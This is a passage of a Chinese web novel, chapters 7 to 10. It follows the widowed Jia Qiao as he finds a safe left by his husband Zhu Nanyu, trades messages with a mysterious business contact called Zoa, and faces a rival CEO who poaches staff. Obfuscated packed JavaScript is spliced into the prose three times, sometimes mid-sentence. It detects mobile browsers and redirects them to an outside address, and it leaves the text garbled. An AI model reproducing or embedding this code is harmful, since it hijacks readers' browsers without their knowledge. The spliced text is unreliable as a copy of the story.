“那太好了。”祝南屿非但没有动摇,反而由衷愉悦,“图钱,我有的是。” 7. 第 7 章 他们骂‘男狐狸精’、‘不能生’、‘图你钱’的时候,伽巧本人就坐在隔壁房间吃瓜。 ——字面意义的吃瓜。 祝南屿怕他自己呆着无聊,提前用挖球勺把西瓜中间最甜的部分,挖成一个个小球放到水果沙冰上,还在里面埋了几颗小熊软糖。 伽巧压根顾不上隔壁吵吵嚷嚷闹什么,攥着西瓜勺,努力在水果沙冰中逮捕小熊软糖。 “你就是南屿带回来的孩子吧?” 耳边传来慈蔼的声音,伽巧抬眼看去,见到一位鬓发斑白眉眼温和的老妇人,缓缓向自己走来。 伽巧懵懵地问,“你是……?” “我是南屿的奶奶,以后也会是你的奶奶。”纪茯苓来到伽巧身边,握起他的手,“把你的生辰八字告诉奶奶,我给你们算个良辰吉日。从今往后啊,南屿就交给你了。” . “奶奶。”伽巧站在纪茯苓的小屋前,轻轻叩响那扇木门。 “是巧巧吗?”纪茯苓打开门,还未露面,屋内先飘出檀香的味道。 她模样依旧慈祥温和,眼角又多了几道岁月的痕迹,沉静的眉目间藏着难以消解的哀婉。 “好久不见,您身体还好吗?” “我一切安好,别太挂念我,多多保重自己。”纪茯苓侧过身,邀请伽巧进屋。 不大的房间干净整洁,正中央台子上供奉着一尊佛像,香炉中燃着三根沉香袅袅生烟。 佛像左下方摆着一张黑白照片,照片中的男人与纪茯苓很有母子相。 右下方同样高度的位置,另一个相框被匆匆扣在桌上,还撞歪了旁边的烛台,溅到相框背面的蜡油尚未凝固。 伽巧知道,那张是祝南屿的黑白照。 纪茯苓这些年吃斋诵经,不为荣华富贵,只为自己的儿孙积攒佛缘。 “……” 伽巧迅速避开视线,转而看向窗外。 窗沿上整整齐齐排列着几个花盆,里面种满淡蓝色五瓣小花,中间点缀鹅黄色花蕊,纯净而又柔和。 “奶奶,这是什么花?” “我闲来无事,随便种的野花。”纪茯苓来到伽巧身后,“你若是喜欢,我分几株花苗给你。只要好好养,下个月就能开花,正好赶上你的生日。” “我不过生日。”伽巧低低地说,“只不过是登记时随便填的日子,没有意义。” “哪怕再普通的日子,也要认真过。”她温柔地说,“开心总比难过好。” 纪茯苓找了个空花盆,分了几株花苗装进手提袋。 递给伽巧之前,她蓦地转过身,打开置物柜的抽屉,拿出几个已经拆开的信封。 “差点忘了,这些是最近寄给南屿的信件,可能因为联系不到本人,所以寄来祖宅这里。我拿到之前,信封已经被拆开了。” 祝家那几个一听是给祝南屿的,以为有什么宝贝,迫不及待打开研究。 “我看看。”伽巧接过信封,随便拆开一封,里面有张薄薄的通知单。 ‘尊敬的祝南屿先生,您于20xx年5月20日租用的保险柜已到期,请办理续租或凭六位数密码取回物品。’ “保险柜?” 最近,祝南屿的律师和理财师清点遗产,完全没提到保险柜。 伽巧再次研究信封,发现寄件地址有些熟悉,是自己跟祝南屿曾经去过的地方。 而且…… 六位数密码? 几乎瞬间,一串熟悉的数字自动浮现在脑海中。 . 连续数日阴雨天过后,天终于放了晴。 伽巧把办公地点挪到室外。 天地空旷开阔,清风拂过竹林,空气中漂浮着雨后的清新。 木质茶桌上摆着从纪茯苓那里带回来的‘未闻花名’幼苗。刚泡好的新茶就摆在手边,茶香四溢。 原本该是多么清雅闲适的场景,伽巧却…… 十、分、暴、躁! 虽然他天生就不是懂风雅的人,可这几年性子已经磨出来了,就算装也能装个七七八八。 现在问题在于…… 对面到底什么情况? 新的商战手段吗? 初期沟通之后,千合与海外公司进展顺利。 按照约定,伽巧亲自与对方代表洽谈后续事项。 他准时进入线上会议室,跟自己洽谈的人迟了三分钟,才慢吞吞上线。 负责本次合作洽谈的并非大金毛Lanner,而是一个ID叫‘Zoa’,没有显示职阶的账号。 伽巧有些意外,但他并不在意沟通对象是谁,按照执行助理整理的话术推进流程。 结果,长长的几段话复制过去,对面回复速度异常缓慢,通常要过三、四分钟才发过来一个‘好’。 刚开始,伽巧以为海外公司的员工看不懂中文,翻译需要时间,便让助理把对话翻译成英文发过去。 又等了足足五分钟,对面回复一个‘OK’。 伽巧:…… 这到底是什么恶毒的商战手段!!! 断断续续完成第一阶段的流程,伽巧的耐性已经消磨殆尽,发过去一句客套的‘既然没什么异议,期待下次会谈’便准备退出线上会议室。 关闭页面之前,对话框竟然又弹出一条消息。 Zoa:病好了吗 那个叫Zoa的家伙,竟然会打四个字的‘长难句’,简直堪称奇迹。 不过……他怎么知道我生病? 难道Lanner告诉他的? 怎么可能,Lanner自己都没看出伽巧生病。 伽巧皮肤苍白到近乎病态,身姿纤细,平常看着就是一副风吹即倒的病恹恹模样。 真有个感冒发烧反倒看不出来,甚至还有人夸他高烧时脸色红润,比平常更有精神。 从开始到现在,唯一能一眼看出伽巧生病的,只有祝南屿。 伽巧:谢谢,已经好了。 回复刚发出去,对面传来一个网页链接,类似家中长辈喜欢发在‘相亲相爱一家人’群里的养生小妙招。 《警惕!退烧后48小时属于‘黄金防护期’,久坐风口当心复发,老中医三招教你守住阳气!》 “阳气?什么破东西。” 伽巧上次听到‘阳气’两个字,还是在武侠小说里面。 从对方奇慢无比的手速,和喜欢贴脸发养生小妙招的行为判断,八成是个迂腐古板、喜欢说教的中年人。 反正今天的工作已经结束,伽巧懒得搭理,退出对话框准备关闭电脑。 突然耳边一阵沙沙声,从竹林穿过的凉风袭来,伽巧捂住嘴打了个喷嚏。 鹿珉听到喷嚏声,立刻以百米冲刺的速度跑过来,高高举起线圈本。 ‘主人!做完工作快点回房间吧!’ ‘周医生说,退烧不代表感冒彻底痊愈,如果吹太久冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422942|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风病情会加重的!’ 明明鹿珉不会说话,伽巧还是感觉被他吵得受不了。 “我知道了,回房间吧。” 起身走进屋子之前,伽巧瞥了眼桌上的笔记本,眼前闪过Zoa发来的链接。 ——他怎么知道自己坐在风口? 经过内部讨论之后,伽巧跟海外合作商第二次沟通,依然由那个Zoa负责对接。 这次,伽巧已经事先做好心理准备,即使对方回复再慢也能平和应对。 结果出乎预料,相隔短短两天,Zoa回复速度提升了整整一倍! 虽然只是从五分钟回复一次,缩短为两分钟回复一次,回复字数从单个变为四五个。 伽巧明显感觉到,沟通效率明显翻倍了。 伽巧:假如能够跟贵公司顺利达成合作,千合会建立新的海外分部,全力配合贵方的工作。 Zoa:文档发来 发什么文档?海外分部的建设计划吗? 那个计划只是为了得到合作机会,给对方画饼而已,根本没有成型的计划。 正当伽巧坐在屏幕前揣测,应该怎么糊弄过去,对方又发来消息。 Zoa:你的话术 “……什么啊?” 伽巧握住鼠标把对话框挪开,露出屏幕上打开的文档。 里面密密麻麻都是执行助理提前整理好的要点和商业谈判用语,还特意分段标红,方便伽巧搜索。 被迫接管千合之后,毫无社会经验的伽巧每次应付商务洽谈,全部按照助理提前给的话术复制粘贴。 因此,业内知道内情的人背后骂他花瓶、傀儡、提线木偶。 伽巧确实对做生意没兴趣,专业层面更是一窍不通。 这四年来,为了守住祝南屿留下的公司,他自学了许多枯燥乏味的管理课。 成绩算不上优异,至少也能及格。 现在,却被Zoa明晃晃戳破。 伽巧手指捏紧鼠标,眼神逐渐阴郁。 Zoa:[摸摸头.jpg] 屏幕中突然冒出一个表情包,大猫咪用粉嘟嘟的肉垫轻轻抚摸小猫咪,尾巴尖有节奏地摇啊摇。 等了一会儿,又发过来新消息。 Zoa:你努力了 简简单单四个字,连个标点符号都没有。 伽巧却好像被冲破内心防线,戳到某个柔软的地方。 Zoa:既然要沟通的内容已经提前整理好了,麻烦伽董直接把文档发过来。有问题我们再重点沟通,节省双方时间嘛~ “啊……原来是这个意思。”伽巧松开差点儿被捏碎的鼠标,将整理好的话术文档打包发过去,然后重新审视对话框内的消息。 最后一条显然不是Zoa发的,句尾的波浪号有点烦人。 难道这个ID是公用号? Zoa:文件已经收到啦,辛苦伽董~这下子初期的沟通环节基本告一段落,后续有什么问题我们随时沟通~[爱心][爱心] 伽巧:跟你沟通? Zoa:是的呢~之前那位沟通员不方便用PC版软件,如果伽董想继续跟他对接,通过微信联络比较方便哦~ Zoa:啊对!我差点忘了,伽董好像不用手机呢~真可惜,我特意选了一台本公司旗下最新款手机作为合作礼物,浪费人家一番心意嘤嘤嘤~ 伽巧:…… 这货嘤什么嘤,神烦。 8. 第 8 章 ‘助理先生送来一部手机,是合作商的礼物,该怎么处理呢?’ 鹿珉收到公司拜托自己转交给伽巧的合作礼物,举起线圈本例行通知。 千合集团经营范围包括电子数码,经常会有友商送来样品机请伽巧试用,可他从未拆封过。 按照伽巧本人的说法,他没有需要主动联系的人。 别人联系伽巧,可以通过鹿珉转告,所以用不到手机。 本以为,这次也是同样情况,鹿珉敷衍地走个过场准备把手机收起来。 家里手机太多,自己一个哑巴,每天用四台最新款的通讯工具,听siri小爱和小艺几个人工智障激情battle。 “等等。” 伽巧叫住他,头也不抬地问。 “有电话卡吗?” “……!!!” 半分钟没听到动静,伽巧抬眼,瞧见鹿珉捧着手机盒,嘴巴张得老大,一脸‘你谁?快从我主人身上下来’的惊恐表情。 “有问题吗?” 鹿珉重重点头,举起线圈本: ‘当然有问题!我以为你一辈子都不会碰手机那种会让人类思维退化、精神沦陷、心智堕落的脏东西!’ ‘你被亡灵附体了吗?怎么突然决定接纳现代科技啦?’ “你真吵。”伽巧推开线圈本,淡淡解释,“负责对接的人要求微信沟通,而且我正好要出趟远门,用手机比较方便。” 即使伽巧好几年没碰过手机,也知道出门在外,没有手机扫码,恐怕会举步维艰。 ‘出远门?要去哪里?为什么没有听你提过?’ 鹿珉画了只孤零零的小兔子,眼泪汪汪看着伽巧。 “临时决定。”伽巧拿出一个信封,指指寄信的地址,“去这里,开个盲盒。” . 飞机划过城市上空,轰鸣落地。 混合桂花甜香的空气袭来,眼前出现的风景与记忆中有些偏差,但总体还算熟悉。 伽巧太久太久不用手机,果然出现了问题。 预定网约车时定位不准确,那个景点面积非常大,下车位置距离自己要去的地方足足有两三公里。 伽巧下车后,走了一段时间才意识到这件事,停在路边正准备重新打车。 “桂花糕——刚出炉的桂花糕——甜滋滋——” 悠长的语调顺着风飘来,伽巧循着声源看过去。 巨大的桂花树下,一个老婆婆坐在摊位前,笑眯眯地看着往来行人,随缘吆喝两声。 那身影,那吆喝,莫名有些眼熟。 许多年前,伽巧也在这里,听过同样的‘甜滋滋’。 那时,某条咸鱼对旅游实在提不起半点兴趣。 千里迢迢只为了看些山山水水,有必要吗? 可祝南屿不同。 他对世界抱有浪漫的热情,非常期待两个人的第一次旅行。提前做好万全攻略,制定旅游计划,还连哄带骗忽悠伽巧,“娇娇,旅游不仅仅为了看风景,还有品尝美食,那里的桂花糕是全国最好吃的。” 看在‘全国第一桂花糕’的面子上,伽巧才勉为其难抛下游戏,被祝南屿拽上飞机来到这座陌生的城市。 “桂花糕呢?”刚落地,伽巧立刻伸手。 “别急,我带你去买。” 祝南屿特意绕路,给伽巧买了这位老婆婆的桂花糕。 刚蒸好的桂花糕冒着热气,伽巧忍着烫咬了一口,软绵绵米糕在舌尖化开,藏在里面的桂花香气溢出来。 中间夹的糖桂花甜得恰到好处,偶尔嚼到一点桂花碎,满溢的花香四散,仿佛漫过整个金秋。 “好吃!”伽巧举起剩下的半块桂花糕,喂到祝南屿嘴边,“你尝尝。” “桂花糕太甜了。”不喜欢吃甜食的祝南屿摇摇头,按住他的手,眸色深深,“甜甜的东西,我有你就够了。” “啧,你真肉麻。”伽巧缩回手,气呼呼嘟囔,“你根本不吃桂花糕,之前说这儿桂花糕好吃,单纯为了骗我陪你旅游,浪费我打游戏的时间!” 事隔经年,伽巧突然有些怀念桂花糕的味道。 按照当年的逻辑,千里迢迢来这么一趟,如果没有吃桂花糕,等于白来。 “婆婆。”伽巧走过去,“要一份桂花糕。” 卖桂花糕的老婆婆仿佛被定格在这片风景中,神态语气一如当年,与伽巧的记忆完美重合。 “你又来了,这次一个人?”她笑呵呵打开冒着热气的笼屉,仿佛招待老朋友,“那个很俊的小伙子呢?” 伽巧惊讶地脱口而出,“你还记得我们?” 时隔五六年,老婆婆每天呆在这儿迎来送往,竟然记得曾经只有一面之缘的客人。 “记得啊。”热气模糊了老婆婆的面容,言语反而更加真切,“那个小伙子比你早来几天,吃遍了全城的桂花糕,然后说我这里最好吃。老婆子我卖了大半辈子桂花糕,还是第一次被人那么夸奖。 说话间,老婆婆把装好的桂花糕递给伽巧,“他第二次来,身边带着你,我当时就看出来了。” 老婆婆压低声音,“刚谈恋爱不久的小伙子,心思纯得很,就想把最好的给人家。” “谢谢。”伽巧接过桂花糕,认真地赞美,“你做的桂花糕,是我吃过最好吃的。” 伽巧慢悠悠品尝着桂花糕,顺着指示牌引导的方向,跟随人群欣赏曾经看过的风景。 不知何时,周围人群都变得成双成对,紧紧依偎在一起。 眼前出现一道石桥,看起来有些年头,桥上桥下不时有喜鹊穿过。 仿佛神话故事里,七夕月下,牛郎织女走过的那道桥。 走在伽巧前面的两个人,看起来非常年轻,像自己当年那么年轻。 女生背着包包看风景,左手拿着手机,右手捧着半杯奶茶。 旁边男生看起来紧张极了,贴近女生的手一直紧紧攥着。走到桥头,他松开拳头在衣服上用力蹭了蹭掌心汗水,鼓足毕生勇气伸出去,“我、我可以牵你的手吗?” 女生先是一愣,随即脸‘唰’地红透了,眼神慌乱地观察周围。 发现路过的每对情侣都牵着手,她才极快得点头,“可、可以啊,但你要帮我拿奶茶!” 见这对青涩小情侣轻轻勾住对方手指,脑袋别别扭扭各自转向一边。 伽巧走上去,平静地提醒,“要十指相扣。” “啊?” 小情侣被突如其来的声音吓了一跳,齐刷刷转回来看向伽巧,脸上写满羞窘。 “这里有个传说,相爱的人十指相扣从桥头走到桥尾,得到鹊神的祝福就可以白头偕老。” 说完,伽巧绕过那对不敢正视对方的青涩小情侣,只身走上桥。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422943|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所谓‘传说’,无非是想跟喜欢的人牵手,随便找个正当理由。 偏偏祝南屿非常信这一套,遇到灵验的月老庙、姻缘碑、许愿池,哪怕绕远路也要拉着伽巧过去完成仪式。 可事实证明,那些东西都是迷信。 他许了那么多白头偕老的愿望,到头来都没有灵验。 “傻子。” 穿过情人桥,岸边距离伽巧要去的地方只有几百米,前方的路落了一层金色的桂花。 日渐迟暮,夕阳余晖洒落,桥边飞来飞去的喜鹊突然同时煽动翅膀,向远处的林子飞去。 有几只小喜鹊飞得慢,就低低悬在伽巧头顶前方,好像特意给他指路。 “啾啾,啾啾!” 伽巧把没吃完的桂花糕掰碎,分给他们一点儿。 小喜鹊不怕人,立刻扑棱翅膀飞过来,停在伽巧的手心啄啄啄。 “喳喳!喳!” 飞在前面的大喜鹊,见几只幼鸟没跟上,折回来喳喳喳催促。 小喜鹊连忙拍打翅膀,跟上大部队。 领头大喜鹊却没有飞走,对着伽巧继续‘喳喳’。 “连我也要催?”伽巧觉得惊讶,轻声嘀咕,“怎么跟他一样。” 在喜鹊的催促下,伽巧赶在夕阳落山之前,来到祝南屿寄存保险柜的位置。 与其说是他把东西寄存在保险柜中,不如说他为了寄存东西,特意在这里修建了一个‘存档点’。 周围的树木葱葱郁郁,五六年前寄放的保险柜周围爬满藤蔓,已经与自然融为一体。 先飞过来的几只喜鹊把保险柜当成休息处,停在上面整理羽毛。 伽巧走到保险柜前面,拨开藤蔓,露出齿轮状的密码拨盘,依次拨出脑海中浮现的六位数。 ‘咔哒——’ 柜门应声打开。 伽巧把里面的东西拿出来,借着落幕前最后的晚霞,看清那是一份皱巴巴的旅游攻略,柜子里还有一张照片。 旅游攻略用不同颜色的便签条做满了标记,第一页是旅游计划,满满当当写了十几条。 结果除了寥寥几个‘√’,剩下一大半都打了‘△’。 旁边附有标注,‘△’代表‘下次再一起来’。 ‘牵手过情人桥’这一条,被某人旁边画了个很大的六芒星,重点标注‘必须完成’。 “真无聊。” 那个笨蛋该不会打算,在保险柜过期的时候,带自己过来看这些‘垃圾’,同时为自己营造的浪漫沾沾自喜吧? 祝南屿什么时候才能意识到,他认知中‘让男朋友感动到哭’的浪漫,根本无法传达给伽巧。 伽巧放下旅游攻略,见保险柜里还有一张照片,是祝南屿过情人桥时非要拉自己拍的。 为了把十指相扣的手拍进去,祝南屿自己都出框了,只有站在桥边的伽巧格外清晰。 照片反过来,背面有几行字。 居然不是写给伽巧的。 ‘致祝南屿: 相识第七年,也许感情会归于平淡。 那么在那之前,请重新讲一遍祝南屿爱上伽巧的故事。’ “……” 繁星点点亮起,喜鹊绕着林子叽叽喳喳。 伽巧拿起照片,挡住自己的眼睛,唇角扬起许久未有、难以掩饰的笑意。 “谁要听啊。” 9. 第 9 章 伽巧回到A市,没有直接回自己别墅,而是去了和祝南屿的婚房。 按密码之前,他特意检查入户门底端缝隙,那根细细的头发安然无恙。 “难道……我多心了吗?” 伽巧走进屋,把从保险柜里带出来的东西随手放在玄关。 刚准备松开手,转念想到祝南屿特意大老远租了个保险柜,把这些‘破烂’像至高机密似的保存那么久。 无奈地叹了口气,重新拿起来,走进祝南屿的书房。 共同生活那段时间,伽巧嫌无聊,几乎没有进过祝南屿的书房。 这套婚房整体按照伽巧的喜好装修,唯独书房保留祝南屿的风格,名副其实的‘书’房。 左右两边靠墙摆着八个加宽、加高的实木书柜,每层都塞得满满当当,藏书量堪比小型图书馆。 伽巧原以为,祝南屿那样古板较真的性子,大概只会看《厚黑学》或者《资本论》。 仔细瞧瞧才发现,虽然其中大部分书名枯燥乏味,但靠近办公桌的那个书柜,色彩明显丰富起来,整整齐齐排列着许多一看名字就知道非常狗血的小说。 “《霸总白月光的绿茶替身》、《被顶流巨星娇宠的日日夜夜》、《穿成恶毒男配后,我成了团宠》……?” 伽巧很难相信平日里沉稳成熟、脱离低级趣味的老公,背着自己偷偷看‘霸总’‘娇宠’‘恶毒男配’。 带着几分探究,他从那堆书里面挑了一本,发现书本侧面夹着不同颜色的便签条。 拿过刚刚带进来的旅游指南,使用的便签条一模一样。 “……巧合吧。” 顺着彩色便签条翻开狗血小说,看到几行走笔利落的字,认真标注遇到类似剧情应该怎么攻略。 伽巧捏着祝南屿亲自做的旅游指南,贴在旁边,字迹和标注方式一模一样。 又抽出其它几本小说,都是类似情况,。 “……”行吧,实锤了。 祝南屿,你还有多少惊喜是我不知道的? 伽巧捧着狗血小说,平静的凌乱。 突然,微信提示音在寂静的房间中响起。 Zoa:文档里的问题已经全部做完批准,请查收。[文件] Zoa进步神速,前后才五六天时间,从最开始五分钟回复一个‘OK’,到现在基本可以正常沟通。 伽巧:好,我们约个时间详谈。 Zoa:你在外面? 又来了。 伽巧蹙起眉打量四周,很想知道Zoa把摄像头装在哪里,怎么每次都能精准猜中自己的动向。明明连面都没见过,仿佛很了解自己似的。 伽巧:我们只是工作关系,不要过分揣测我的生活。你对我就那么感兴趣吗? Zoa:嗯,我居心叵测,故意引起你的注意。 如果对方心口不一衣冠禽兽,伽巧会直接把他拉进黑名单。 偏偏Zoa坦荡、直白、而又赤.裸,毫不掩饰自己的下流,反而让伽巧无话可说。 他沉默地关闭对话框,把拿出的书一本本放回去,带进来的相片装进相框放入祝南屿的抽屉。 合起抽屉之前,伽巧余光瞥见下层阴影处,似乎有件挺眼熟的衣服。 伸手进去拿出来,竟然是那件自己穿过、却莫名其妙消失的衬衫。 为什么在卧室里脱掉的衬衫,会出现在书房? 难道因为过去时间太久,遇到概率只有0.1%的情况——我真的记错了? 所以说,从始至终根本没有人来过婚房? 伽巧试图用这个理由说服自己,拿起衬衫,习惯性贴到自己脸上蹭了蹭。 然后…… 嗅到一股新鲜的、刚刚洗过衣服残留的干净香气。 从气息判断,距离上次清洗绝对不超过三天。 伽巧动作猛得一顿,眼神变得锐利起来,重新走到入户门旁边,俯身捡起断掉的头发。 黑发,长度目测大约半米左右,发丝偏细。 伽巧回忆上次的动作,重新从发尾揪下一根头发,缓缓摆在旁边。 明显长了几厘米。 断掉那根头发不是自己的。 那么问题来了。 是谁悄无声息潜入婚房,还提前预判伽巧的行动,复刻了几乎一模一样的机关? ‘叩、叩、叩——!’ 屋外传来急促的敲门声,打断伽巧思绪。 鹿珉喘得大口大口呼吸,举起线圈本的手抖得差点拿不住。 ‘公司出事了,请你过去一趟!!!’ . 待客室内的空气安静至极,甚至能数清楚多少道呼吸。 伽巧端端坐在董事长的位置,背脊挺直,面前摆着一份刚打印好的辞呈,墨迹还很新。 在这个节骨眼提出辞职的人叫黄峥,千合集团的CTO(首席技术官),‘曙光’项目拟定的总负责人。 会议桌对面,衣冠楚楚的男人好整以暇坐在那儿,长着一双狡诈的眼睛,宛如锁定猎物的秃鹫。 傅清延,锐科集团最年轻的掌权人,在业内称得上意气风发年少有为。 只不过祝南屿在时,无论身家还是能力始终压他一头,几次交锋都没有让傅清延占到便宜。 祝南屿遭遇意外后,锐科集团发展迅速,如今在业内一家独大。 上次慈善晚宴,坐在前排的傅清延甚至没跟伽巧问候,举手投足间彰显自己已经在next level,压根不屑把伽巧视为竞争对手。 结果,Lanner却选择千合集团作为唯一合作方,无异于狠狠打了傅清延的脸。 他哪能咽下这口气? “良禽择木而栖,祝夫人该不会舍不得放人吧?”傅清延低头整理钻石袖扣,语气尽显傲慢,“我知道,黄峥跟千合签了竞业协议,离开公司半年内不能进入同行业。所以我作为他的新东家,亲自过来谈判,替他解决这点儿‘小’麻烦。” 傅清延单手搭在会议桌上,身体前倾,压迫感极强地看向伽巧,“违约金多少,我出三倍。” 伽巧面无波澜,仿佛没意识到对头公司的掌权人亲自上门挖走核心高管,对企业家而言是多么大的耻辱。 “我不清楚,让法务部按流程执行。” 黄峥站在傅清延侧后方,低着头眼神闪躲,不敢对上伽巧的视线。 比他更闪躲的,是坐在傅清延手边的供应商赵铭,脸上透着难以掩饰的心虚。 黄峥能被挖角,大半原因归功于本身的技术能力。 而赵铭能有今天,全靠祝南屿早些年一手扶持,亲自带他扩展人脉、整合资源。 现在他坐在傅清延那边,摆明要跟千合集团切割,投靠更有‘钱’景的锐科集团。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422944|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“祝夫人可曾听过一句话,识时务者为俊杰。如今,曙光项目的主策划,还有千合最大的原材料供应商都选择投靠我这边。”傅清延敲敲桌子,十足胜券在握地姿态,“根据我对贵公司的了解,千合已经没有能力完成‘曙光’这么大的项目。依我看,不如把它让给我。” 伽巧蹙起眉,看起来楚楚可怜,“只此一条路吗?” “当然还有第二个选项。”傅清延微微后靠,眼底掠过一道精光,“我们锐科愿意跟千合合作,共同开发曙光工程。资源同享,风险分摊。但是,有个小小的附加条件。” 伽巧撩起眼皮,静待下文。 “其实我对祝夫人倾慕已久,第一眼见到你跟祝南屿,脑子里就在想‘你身边为什么不能是我’。所以我一直……” “停。”伽巧没兴趣听他的心路历程。 觊觎自己的人那么多,听祝南屿说肉麻恶心的话已经够够的了。 傅清延先前听过许多传闻,大概了解伽巧的行事作风。慢慢抛出筹码,企图精准诱惑他上钩。 “祝夫人如果愿意,结婚之前你可以做财产公证,祝董留给你的东西我一分都不会碰。而且,我给你的不会比祝董少。千合在我的领导下,发展前景也会更好。” 傅清延目光带着直白露骨的占有欲,上上下下打量伽巧精致的脸,已经能想象到把此等美人豢养在家中,该有多么快活。 祝南屿那个短命鬼,能力再出色又如何? 留下偌大家业,还有美艳遗孀,到头来都要改姓傅! 想到这里,傅清延通体舒畅,感觉人生巅峰近在咫尺。 “傅总的意思我清楚了。”伽巧微微点头,声音听不出任何情绪,“可以给我三天时间考虑吗?” “三天?想拖到签约?祝夫人这点儿小把戏,以为我看不出吗?”傅清延自以为看破他的诡计,拒绝道,“一天,明晚我要听到你的答复。” “好。”伽巧语气温和而顺从,仿佛彻底没招了。 . “你说什么?!” 祝南屿扶着病床边的扶手,猛得撑起身体,眉头因为剧痛皱了一下。 “我艹!”Lanner吓得躲到旁边,惊恐地瞪大眼睛,“傅清延这个死作的真够大,居然把你气活了!这才几天啊,我以为你至少会躺到下下下个月呢~” “说重点。” “重点已经说完喽~祝大善人处处施恩,千方百计替自家小娇妻铺路搭桥。结果养出两个白眼狼,关键时刻反水,背刺你老婆。”Lanner表情正经了一瞬,压低声音提醒祝南屿,“祝南屿,我有自己的立场。既然千合集团内忧外患,无法保证曙光项目顺利推进,我只能更换合作商。” 祝南屿淡淡‘嗯’了一声。 “你反应好冷淡哦~也对嘛,凭借祝首席的能力,随手创建十个八个‘千合’轻而易举。”Lanner眨眨眼,不知死活刺激祝南屿,“比起公司和项目,你更应该担心老婆改嫁吧~?” “闭嘴。”祝南屿斜了大金毛一眼,语气带着不容置疑的笃定,“他不会。” “哟?这么自信?”Lanner疯狂雷区蹦迪,掰手指细数,“傅清延也算青年才俊,出手阔绰,比当初的你更有钱,给出的条件非常优厚……你凭什么断定伽巧不会动摇?” “你别管。”祝南屿冷冷警告,“准备好千合的合同。” 10. 第 10 章 千合集团大会议室内,次次空缺的董事长位终于迎来主人——代理董事长伽巧破天荒亲自来公司开会。 高管们座无虚席,尚未办完辞职手续的黄峥也在,紧张地像个放学被老师留下的学渣。 等所有人都到齐,伽巧手伸向助理。 “笔。” “给您。”执行助理立刻双手奉上签字笔。 伽巧接过笔,翻开黄峥的辞职申请,果断地签下名字。 递回去的时候,唇角还带着一抹笑意。 “幸好你主动离职,替公司省了一笔裁员费。” 伽巧目光没有情绪,温和的声音没有半分恼怒。 “祝你,前程似锦。” 黄峥颤巍巍接过辞职申请,眼睛根本不敢看伽巧漂亮的脸。 听见这话,他暗暗吐槽伽巧嘴硬。 自己身居高位掌握核心技术,是公司的左膀右臂,所以锐科才肯花大价钱挖人。 现在千合缺了一条胳膊,伽巧却只在乎裁员费那三瓜两枣? 目光真短浅! 果然,另谋高就是正确决定。 “谢、谢谢祝夫人。”黄峥拿着已经批准的辞职申请,在伽巧示意下,匆匆忙忙滚出会议室。 ‘吱呀——’ 会议室门开了又关,伽巧环顾整间屋子,目光扫过每位高管的脸,轻声问,“还有谁要辞职。” 寂静。 漫长的寂静。 千合集团高管层四年内未曾变动,基本都是祝南屿一手提拔的旧部,曾经与他共同打拼才闯出‘千合’这片江山。 祝南屿被誉为‘业内最后的良知’、‘一点也不黑心的资本家’,对待员工简直好过了头。 不仅待遇优厚,而且分股份、放权,尊重每位员工的创意和主体性,自己则在中间负责调和。 正因如此,祝南屿出意外时,千合集团虽然遭到重大打击,但整体运作还算稳定。 过去四年,没有祝南屿指引方向控制大局,千合集团依然在众位高管的共同努力下,稳稳守住基本盘。 却没料到,正当Lanner抛来橄榄枝,千合即将东山再起之际,黄峥却选择背刺。 “但凡是个人……”寂静良久,CFO蔡汐用指尖推了下金边眼镜边框,踩着红底高跟鞋的腿优雅交叠,“都不会在这种时候辞职吧?” 千合的‘财务女王’发话,瞬间点燃压抑的氛围,其余高管纷纷憋不住心里的牢骚。 “对!我刚才差点指着鼻子骂黄峥那个乌龟羔子王八蛋!昨天还装得鞠躬尽瘁,今天就带着锐科的人来公司耀武扬威,他算个屁啊!” “呵呵,黄峥以为锐科只挖了他一个吗?傅清延三年前就给我打过电话。”研发经理说完,害怕引起误会,连忙摆摆手说,“我当时就拒绝了啊!我对祝董一心一意!” “锐科也给我打过电话。”蔡汐翻了个大白眼,“傅清延是蓝翔毕业的吗?到处挖人。” 伽巧见平常在自己面前恭敬疏离、成熟稳重的高管们,此刻毫无形象的破口大骂,竟然溢出两声轻笑。 捕捉到浅淡的笑声,高管们纷纷看向伽巧,仿佛今天才认识他。 也难怪,祝南屿消失后,由伽巧代理董事长的位置。 四年来他像个合格的提线木偶,像个被架空的傀儡皇帝,没有任何属于自己的情绪。 直到今天,大家才意识到—— 他们对伽巧一无所知。 “感谢各位,愿意留在千合。”伽巧起身,抬手捂住胸口向大家鞠了个躬。 “不、不客气!” 会议室霹雳扑通一片踢椅子的声音,高管们纷纷站起来回礼,表情一个比一个无措。 不知谁突然扯开嗓子,豪迈地喊,“誓与千合共存亡!” “停,没到需要‘共存亡’的时候。”伽巧拦住他,当众宣布,“从本月开始,千合所有员工涨薪5%,参与曙光项目的员工涨薪10%。” “伽董?” 